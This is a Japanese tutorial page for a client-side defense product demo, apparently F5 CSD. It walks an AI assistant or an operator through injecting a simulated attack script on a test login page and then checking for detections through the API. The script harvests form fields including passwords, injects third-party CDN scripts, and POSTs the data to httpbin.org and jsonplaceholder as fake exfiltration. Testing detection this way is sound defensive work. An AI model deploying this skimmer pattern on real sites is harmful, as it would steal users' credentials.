コンテンツにスキップ

フェーズ 2 — 攻撃

フェーズ 2 では、保護されたアプリケーションに対してシミュレートされた攻撃トラフィックを生成し、CSD がそれを検出したことを確認します。先に進む前に、フェーズ 1 が完了していること — ステップ 7 のすべてのチェックが PASS であること — が必要です。

ステップ 8: 攻撃シミュレーション

Section titled “ステップ 8: 攻撃シミュレーション”

インフラストラクチャが検証された後(フェーズ 1 ステップ 7 のすべてのチェックが PASS)、攻撃シミュレーションスクリプトを実行して CSD 検出を生成します。スクリプトは トリガー検出 ガイドおよび 攻撃スクリプトライブラリ で定義されています。

ブラウザ自動化ツールを持つ AI アシスタントは、攻撃シミュレーションをプログラムで実行します:

  1. initScript でナビゲート — クリーンなドキュメントコンテキストを確保するために(前のナビゲーションからの古い initScript を回避するため)まず about:blank にナビゲートし、次に navigate_pagehttp://$F5XC_DOMAINNAME/#/login に移動します。この際、zone.js がパッチを当てる前にネイティブの setIntervalclearIntervalfetchconsole.log を保存し、ログインフォームフィールドをポーリングし、ネイティブの HTMLInputElement.prototype.value セッターを使用して認証情報を入力し、結合検出スクリプトをインラインで即時実行する initScript を使用します。以下の verbatim の initScript を使用してください。
  2. ウェルカムバナーを閉じるEscape キーで press_key を実行してウェルカムバナーを閉じます。その後の訪問ではバナーが表示されない場合があります(Cookie が保持されています)。Cookie 同意ダイアログは Escape キーで自動的に閉じられます。
  3. 完了を待機 — すべての CDN スクリプトのロード/エラーコールバックおよび fetch プロミスの解決が完了するまで 10 秒待機します。
  4. 証拠を取得[CSD Demo] Simulation complete と CDN ロード結果を確認するために list_console_messages を実行します。HTTP ステータスコード(成功は 200/201、保留中のリクエストは pending)を確認するために script および fetch タイプでフィルタリングした list_network_requests を実行します。

フェーズ 2 の initScript(verbatim — 記載通りに使用すること):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

ブラウザ自動化ツールを持たないオペレーターは、手動でステップを実行します:

  1. ナビゲート — 保護されたアプリケーションのログインページに移動します: http://xF5XC_DOMAINNAMEx/#/login
  2. ダミー認証情報を入力 — Email フィールドに test@example.com、Password フィールドに P@ssword123 と入力します(フォームを送信しないこと)。
  3. DevTools を開くF12 キーを押して Console タブに切り替えます。
  4. 結合検出スクリプトを実行トリガー検出 — 結合シミュレーションスクリプトを実行する からスクリプトをコンソールに貼り付け、Enter キーを押します。
  5. コンソール出力を確認[CSD Demo] のフェーズ別出力に、フィールドのハーベスト、4 つの CDN ドメインからのスクリプトインジェクション、および 2 つのエンドポイントへのデータ窃取が表示されていることを確認します。
シグナル動作検出
フォームフィールドのハーベストメールアドレスとパスワードの入力値を読み取る機密フォームフィールドを読み取るスクリプト — 高リスクとしてフラグ
スクリプトインジェクションcdn.jsdelivr.netesm.shunpkg.comga.jspm.io から 4 つの <script> タグをインジェクト最大 4 つの新しいサードパーティスクリプトドメインを検出(CDN の可用性により異なる)
データ窃取ハーベストされたデータを fetchwww.httpbin.org および jsonplaceholder.typicode.com に送信外部ドメインへのネットワーク呼び出し

AI アシスタントは以下を報告する必要があります。AI 自動実行の場合、証拠は list_console_messages を通じてプログラムで取得されます(initScript のポーリング関数が結果をコンソールに記録します)。手動実行の場合、オペレーターがブラウザコンソールの出力を読み取ります。

チェック期待値ステータス
ログインページのロードhttp://$F5XC_DOMAINNAME/#/login200 OKPASS / FAIL
コンソールスクリプトの実行コンソール出力に [CSD Demo] Simulation completePASS / FAIL
フィールドのハーベストコンソール出力の件数 > 0PASS
スクリプトのインジェクションコンソール出力に 1〜4 の CDN ドメイン(リソースエラーで失敗するものもある)いずれかの CDN ドメインが表示されれば PASS
窃取チャンネルコンソール出力に 2 つの fetch POST の試みPASS

ステップ 9: API による検出の確認

Section titled “ステップ 9: API による検出の確認”

CSD API エンドポイントをクエリして、検出が表示されたことを確認します。ポーリングループを使用します: 60 秒ごとに /detected_domains をクエリし、DET-3 が PASS になったらすぐに進みます。10 分後も DET-3 が PASS にならない場合は、CSD 設定を確認してください。30 分後も DET-3 が PASS にならない場合は、停止してオペレーターに報告してください。これらのエンドポイントは API リファレンス に記載されており、前のステップと同じ認証およびネームスペースを使用します。

過去 24 時間に検出されたスクリプトをクエリします:

Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
フィールド期待値ステータス
total> 0(スクリプトが検出された)> 0 であれば PASS; 0 でも /detected_domains に窃取ドメインが表示されれば PENDING
スクリプト名script_name に CDN ドメイン(cdn.jsdelivr.netesm.shunpkg.comga.jspm.io)が含まれるインジェクトされた CDN ドメインが表示されれば PASS
Terminal window
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
フィールド期待値ステータス
total_domains> 0> 0 であれば PASS
ドメインリストCDN および窃取ドメインが含まれる期待されるドメインが表示されれば PASS
Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
フィールド期待値ステータス
total> 0> 0 であれば PASS; 0 でも DET-3 が PASS であれば PENDING
nameemailpassword が含まれる機密フィールドが表示されれば PASS
sensitivityemail/password フィールドに対して SensitiveML が正しく分類されれば PASS

すべての検出クエリの後、最終的な検出ステータスを提示します:

テスト IDチェックステータス
DET-1スクリプトが検出された(/scripts エンドポイント)> 0 であれば PASS; 空でも DET-3 が PASS であれば PENDING
DET-2CDN ドメインが検出されたPASS / FAIL
DET-3窃取ドメインが検出された(/detected_domains主要指標www.httpbin.org または jsonplaceholder.typicode.com が表示されれば PASS
DET-4フォームフィールドが検出された(/formFields エンドポイント)> 0 であれば PASS; 空でも DET-3 が PASS であれば PENDING

フェーズ 2 完了。 フェーズ 3 — 緩和 に進んで、緩和ルールを適用し、ドメインがブロックされていることを確認します。